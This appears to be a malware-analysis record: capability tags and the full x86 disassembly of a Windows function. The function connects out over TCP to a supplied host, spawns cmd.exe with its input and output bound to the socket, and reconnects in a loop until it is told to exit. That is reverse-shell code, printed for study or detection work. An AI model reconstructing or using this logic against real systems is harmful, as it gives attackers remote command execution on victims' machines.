Function at 0x403be0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x648
mov dword [esp], 0x1388
call sub.KERNEL32.dll_Sleep
sub esp, 4
lea eax, [ebp - 0x5d4]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sub.WS2_32.dll_WSAStartup
sub esp, 8
mov dword [ebp - 0x42c], 0
lea eax, [ebp - 0x42c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.WS2_32.dll_getaddrinfo
sub esp, 0x10
test eax, eax
setne al
test al, al
je 0x403c62
mov eax, dword [ebp - 0x42c]
mov dword [esp], eax
call sub.WS2_32.dll_freeaddrinfo
sub esp, 4
jmp 0x403f8c
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
call sub.WS2_32.dll_WSASocketA
sub esp, 0x18
mov dword [ebp - 0x10], eax
mov word [ebp - 0x428], 2
mov eax, dword [ebp - 0x42c]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x403cdb
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
cmp eax, 2
jne 0x403cd0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x424], eax
jmp 0x403cdb
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0xc], eax
jmp 0x403cae
mov eax, dword [ebp + 0xc]
movzx eax, ax
mov dword [esp], eax
call sub.WS2_32.dll_htons
sub esp, 4
mov word [ebp - 0x426], ax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x428]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_WSAConnect
sub esp, 0x1c
cmp eax, 0xffffffff
sete al
test al, al
je 0x403d66
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
mov eax, dword [ebp - 0x42c]
mov dword [esp], eax
call sub.WS2_32.dll_freeaddrinfo
sub esp, 4
jmp 0x403f8c
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jg 0x403dde
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
mov eax, dword [ebp - 0x42c]
mov dword [esp], eax
call sub.WS2_32.dll_freeaddrinfo
sub esp, 4
jmp 0x403f8c
mov dword [ebp - 0x434], 0x2e646d63
mov dword [ebp - 0x430], 0x657865
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x618]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x618], 0x44
mov dword [ebp - 0x5ec], 0x101
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x5d8], eax
mov eax, dword [ebp - 0x5d8]
mov dword [ebp - 0x5dc], eax
mov eax, dword [ebp - 0x5dc]
mov dword [ebp - 0x5e0], eax
lea eax, [ebp - 0x444]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x618]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x434]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov eax, dword [ebp - 0x444]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 8
mov eax, dword [ebp - 0x444]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [ebp - 0x440]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_recv
sub esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jg 0x403f55
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.WS2_32.dll_closesocket
sub esp, 4
call sub.WS2_32.dll_WSACleanup
mov eax, dword [ebp - 0x42c]
mov dword [esp], eax
call sub.WS2_32.dll_freeaddrinfo
sub esp, 4
jmp 0x403be9
mov dword [esp + 4], str.exit_n
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x403f7b
mov dword [esp], 0
call sub.msvcrt.dll_exit
mov eax, dword [ebp - 0x42c]
mov dword [esp], eax
call sub.WS2_32.dll_freeaddrinfo
sub esp, 4
jmp 0x403be9